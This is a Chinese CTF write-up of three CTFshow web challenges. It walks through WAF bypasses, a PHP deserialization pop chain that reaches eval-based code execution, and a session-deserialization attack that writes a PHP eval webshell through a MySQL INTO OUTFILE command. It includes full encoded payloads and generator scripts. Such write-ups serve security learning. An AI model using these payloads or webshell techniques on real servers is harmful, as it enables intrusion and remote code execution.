【Web】CTFSHOW元旦水友赛部分wp-编程知识

①easy_include

②easy_web

③easy_login

web一共5题，我出了3题，巧的是好像师傅们也只出了3题，跨年拿旗还是很快乐的，下面直接贴出自己的wp.

①easy_include

pearcmd不解释

这里主要是，file://协议支持以file://localhost/etc/hosts的方式访问服务器文件,来绕过开头必须是字母的限制

②easy_web

代码审计，大致思路是通过构造pop链实现class Chu0_write类中的eval函数RCE

首先传参是show_show.show，php变量名只能是数字字母下划线，传进去的变量名会将 , +,.,[等符号转换成_，若变量中有. 号，可以用[替换_后，之后的字符不会再被替换成_

构造的参数是show[show.show

有两个waf

第一个waf1是用urlencode绕过，即不会出现字母字符，注意是对$_REQUEST进行waf判断的，request的顺序：GET<POST，因此绕过的思路只需要同时POST一个相同参数对应数字即可绕过%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1&chu0=1&name=1&cmd=1

第二个waf2不能出现show，那么用base64-encode --> utf-8 -> utf-16 --> convert.quoted-printable-decode绕过，我们编写个脚本

$content='ctfshowshowshowwww'.$_GET['chu0'];

chu0参数需要传system，按照下面的脚本

<?php$b ='system';$payload = iconv('utf-8', 'utf-16', base64_encode($b));file_put_contents('payload.txt', quoted_printable_encode($payload));$s = file_get_contents('payload.txt');$s = preg_replace('/=\r\n/', '', $s);echo $s;

运行后得到c=003=00l=00z=00d=00G=00V=00t=00

现在来构造序列化链

首先__wakeup()方法中有一个throw new Exception("fastfast");，回强制GC回收导致__destruct魔术方法不起作用从而触发不了其他魔术方法，

使用数组绕过。详解见ctfshow 第三届愚人杯 easy_php_愚人杯3rd [easy_php]-CSDN博客的ctfshow 第三届愚人杯 easy_php

<?phphighlight_file(__file__);class ctf{public $h1;public $h2;public function __wakeup(){throw new Exception("fastfast");}public function __destruct(){$this->h1->nonono($this->h2);}}class show{public function __call($name,$args){if(preg_match('/ctf/i',$args[0][0][2])){echo "gogogo";}}}class Chu0_write{public $chu0;public $chu1;public $cmd;public function __construct(){$this->chu0 = 'xiuxiuxiu';}public function __toString(){echo "__toString"."<br>";if ($this->chu0===$this->chu1){$content='ctfshowshowshowwww'.$_GET['chu0'];if (!waf_in_waf_php($_GET['name'])){file_put_contents($_GET['name'].".txt",$content);}else{echo "绕一下吧孩子";}$tmp = file_get_contents('ctfw.txt');echo $tmp."<br>";if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){eval($tmp($_GET['cmd']));}else{echo "waf!";}file_put_contents("ctfw.txt","");}return "Go on";}}$a = new ArrayObject;$a -> a = new ctf;$a ->a->h1=new show();$a ->a->h2=new Chu0_write();echo serialize($a);

最后得到payload的O改为C，得到

C:11:"ArrayObject":164:{x:i:0;a:1:{s:9:"gxngxngxn";O:3:"ctf":2:{s:2:"h1";O:4:"show":0:{}s:2:"h2";a:1:{i:0;a:1:{i:2;O:10:"Chu0_write":3:{s:4:"chu0";N;s:4:"chu1";N;s:3:"cmd";N;}}}}};m:a:0:{}}

Cmd参数为env，flag在环境变量中

最终payload如下：

POST /?%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=%43%3a%31%31%3a%22%41%72%72%61%79%4f%62%6a%65%63%74%22%3a%31%36%34%3a%7b%78%3a%69%3a%30%3b%61%3a%31%3a%7b%73%3a%39%3a%22%67%78%6e%67%78%6e%67%78%6e%22%3b%4f%3a%33%3a%22%63%74%66%22%3a%32%3a%7b%73%3a%32%3a%22%68%31%22%3b%4f%3a%34%3a%22%73%68%6f%77%22%3a%30%3a%7b%7d%73%3a%32%3a%22%68%32%22%3b%61%3a%31%3a%7b%69%3a%30%3b%61%3a%31%3a%7b%69%3a%32%3b%4f%3a%31%30%3a%22%43%68%75%30%5f%77%72%69%74%65%22%3a%33%3a%7b%73%3a%34%3a%22%63%68%75%30%22%3b%4e%3b%73%3a%34%3a%22%63%68%75%31%22%3b%4e%3b%73%3a%33%3a%22%63%6d%64%22%3b%4e%3b%7d%7d%7d%7d%7d%3b%6d%3a%61%3a%30%3a%7b%7d%7d&chu0=c=003=00l=00z=00d=00G=00V=00t=00&name=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8/convert.base64-decode/resource=ctfw&cmd=env HTTP/1.1Host: 935263de-7c5b-4e7d-9528-c32add0787dc.challenge.ctf.showUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 60%73%68%6f%77[%73%68%6f%77.%73%68%6f%77=1&chu0=1&name=1&cmd=1

③easy_login

查看common.php和index.php

在common.php文件的userLogger类中有写入文件操作，假设我们可以反序列化改变类属性，我们就可以写马到文件getshell

题目源码有很多类、没有反序列化函数unserialize()，但是开启了session（index.php），同时在application::getLoginName()方法（common.php）中有session操作。这里能进行session反序列化。

注册一个账号，用户名为Jay|17，拿到用户cookie。后续操作发包时要带上cookie。然后登录（do_login）。

Cookie：user=Jay%7C17%7Cf1d7cd28dc915e876179dcce95e6c8c1

构造序列化字符串：

<?php
session_start();
class mysql_helper
{public $option = array(PDO::MYSQL_ATTR_INIT_COMMAND => "select '<?php eval(\$_POST[1]);phpinfo();?>'  into outfile '/var/www/html/1.php';");
}
class application
{public $mysql;public $debug = true;public function __construct(){$this->mysql = new mysql_helper();}
}$a = new application();
echo urlencode(serialize($a));

得到

O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7D

payload：（记得带上Cookie）

GET：/index.php?action=hahaha&token=user|O%3A11%3A%22application%22%3A2%3A%7Bs%3A5%3A%22mysql%22%3BO%3A12%3A%22mysql_helper%22%3A1%3A%7Bs%3A6%3A%22option%22%3Ba%3A1%3A%7Bi%3A1002%3Bs%3A80%3A%22select+%27%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3Bphpinfo%28%29%3B%3F%3E%27++into+outfile+%27%2Fvar%2Fwww%2Fhtml%2F1.php%27%3B%22%3B%7D%7Ds%3A5%3A%22debug%22%3Bb%3A1%3B%7DPOST：username=Jay%7C17&password=123456

访问1.php，能看见phpinfo，说明写入成功并且执行了，开始getshell。